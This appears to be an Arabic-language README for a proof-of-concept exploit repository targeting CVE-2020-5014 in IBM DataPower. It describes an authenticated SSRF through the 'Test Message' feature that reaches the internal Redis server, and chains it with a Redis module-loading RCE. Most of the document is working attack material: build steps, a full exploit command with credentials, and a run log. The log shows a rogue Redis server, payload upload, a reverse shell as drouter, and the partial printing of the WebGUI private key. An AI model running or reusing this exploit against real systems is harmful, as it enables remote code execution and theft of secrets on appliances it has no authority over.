datapower-redis-rce-exploit (CVE-2020-5014)

برهان إثبات (PoC) لاستغلال RCE في Redis عبر IBM DataPower مع مصادقة، من خلال إساءة استخدام وظيفة "Test Message".

poc_demo

الشرح

باستخدام وظيفة "إرسال رسالة اختبار" المتاحة عبر جلسة مصادقة في واجهة WebGUI الخاصة بـ DataPower، يمكن تنفيذ هجوم SSRF ضد خادم Redis الداخلي لـ DataPower. خادم Redis الداخلي محمي بكلمة مرور، لكن يبدو أنه يستخدم كلمة مرور ثابتة (hardcoded). يمكن بعد ذلك دمج ذلك مع ثغرة RCE الموجودة مسبقاً في Redis لتنفيذ تعليمات برمجية عشوائية بصلاحيات المستخدم drouter داخل نظام تشغيل Linux الأساسي لـ DataPower.

بدء سريع

استنساخ هذا المستودع
ترجمة الوحدة البرمجية:
- cd RedisModulesSDK/dpredisshell/
- make
ترجمة كود Golang

$ ./datapower-redis-rce-exploit -dpip 127.0.0.1 -dpport 9090 -dpredismodule RedisModulesSDK/dpredisshell/dpredisshell.so -dpredispasswd $DPREDISPASSWD -dpredisport 16379 -dpwebguipassword "admin" -dpwebguiuser "admin" -fakeredisip 127.0.0.1 -fakeredisport 8888 Main - 2020/10/18 23:34:29 datapower-redis-rce-exploit - Created by Thomas Cope Main - 2020/10/18 23:34:29 Starting Rogue Redis Server... Main - 2020/10/18 23:34:29 Attempting to Login to Datapower... FakeRedis - 2020/10/18 23:34:29 Starting Fake Redis Server on 127.0.0.1:8888 FakeRedis - 2020/10/18 23:34:29 Online and Ready! Main - 2020/10/18 23:34:29 Datapower Credentials Valid! Main - 2020/10/18 23:34:29 Datapower Login Token = JlkIp5wAvuQfSh5+cY49BovA.5 Main - 2020/10/18 23:34:29 Exchanging Login token for auth cookie... Main - 2020/10/18 23:34:29 Got login Cookie OK! - [ibmwdp=1wBXDLzY9XdTNz4aD5+JQspc.5; Path=/; HttpOnly; Secure]+ Main - 2020/10/18 23:34:29 Datapower Login Complete! Main - 2020/10/18 23:34:29 Attempting Redis exploit via Datapower 'Test Connection' ... Main - 2020/10/18 23:34:29 Performing Datapower 'Test Connection'... FakeRedis - 2020/10/18 23:34:29 Accepting connection... FakeRedis - 2020/10/18 23:34:29 Accepted Connection OK! FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis Main - 2020/10/18 23:34:29 Datapower 'Test Connection' Finished OK Main - 2020/10/18 23:34:29 Datapower 'Test Connection' sent OK, waiting for redis connection... FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis FakeRedis - 2020/10/18 23:34:29 Uploading module... FakeRedis - 2020/10/18 23:34:29 Upload Complete! Main - 2020/10/18 23:34:29 Payload has been delivered to Datapower internal redis! Main - 2020/10/18 23:34:29 Performing clean up... Main - 2020/10/18 23:34:29 Performing Datapower 'Test Connection'... FakeRedis - 2020/10/18 23:34:29 Error reading data from network connection: read tcp 127.0.0.1:8888->127.0.0.1:44207: read: connection reset by peer - (This is expected) FakeRedis - 2020/10/18 23:34:29 Connection Closed Main - 2020/10/18 23:34:30 Datapower 'Test Connection' Finished OK Main - 2020/10/18 23:34:30 Requesting Reverse Shell via Datapower 'Test Connection' ... Main - 2020/10/18 23:34:30 Waiting for Reverse Shell... Main - 2020/10/18 23:34:30 Performing Datapower 'Test Connection'... FakeRedis - 2020/10/18 23:34:30 Accepting connection... Main - 2020/10/18 23:34:30 Got Reverse Shell! Main - 2020/10/18 23:34:30 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ id uid=1000(drouter) gid=1000(drouter) groups=1000(drouter) ps -ef UID PID PPID C STIME TTY TIME CMD drouter 1 0 6 22:00 pts/0 00:02:15 /opt/ibm/datapower/root/drouter drouter 24 1 0 22:00 pts/0 00:00:06 QuotaEnforcement unix:/opt/ibm/datapower/drouter/ramdisk2/sidecar-QuotaEnforcement-0x7f4f38c6e2c8 QuotaEnforcement drouter 27 24 0 22:00 pts/0 00:00:05 /opt/ibm/datapower/root/dp-redis-server 127.0.0.1:16379 drouter 28 24 0 22:00 pts/0 00:00:08 /opt/ibm/datapower/root/dp-redis-sentinel 127.0.0.1:26379 [sentinel] drouter 40 1 0 22:00 pts/0 00:00:05 dpmon -F dpmon -T -s 1 -c 900 -U /opt/ibm/datapower/drouter/temporary/dpmon/ -m /opt/ibm/datapower/drouter/temporary/dpmon/ -i 8 -M 31457280 -Z UTC -B 0 drouter 61 27 0 22:34 pts/0 00:00:00 [sh] drouter 63 61 0 22:34 pts/0 00:00:00 find / -name webgui-privkey.pem 2>/dev/null /opt/ibm/datapower/root/secure/usrcerts/webgui-privkey.pem head -2 /opt/ibm/datapower/root/secure/usrcerts/webgui-privkey.pem -----BEGIN PRIVATE KEY----- MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDYFBod9TmWZLKT

datapower-redis-rce-exploit

الأكثر شعبية

مثال

IOCs

الإصلاح / التصحيح

روابط وشكر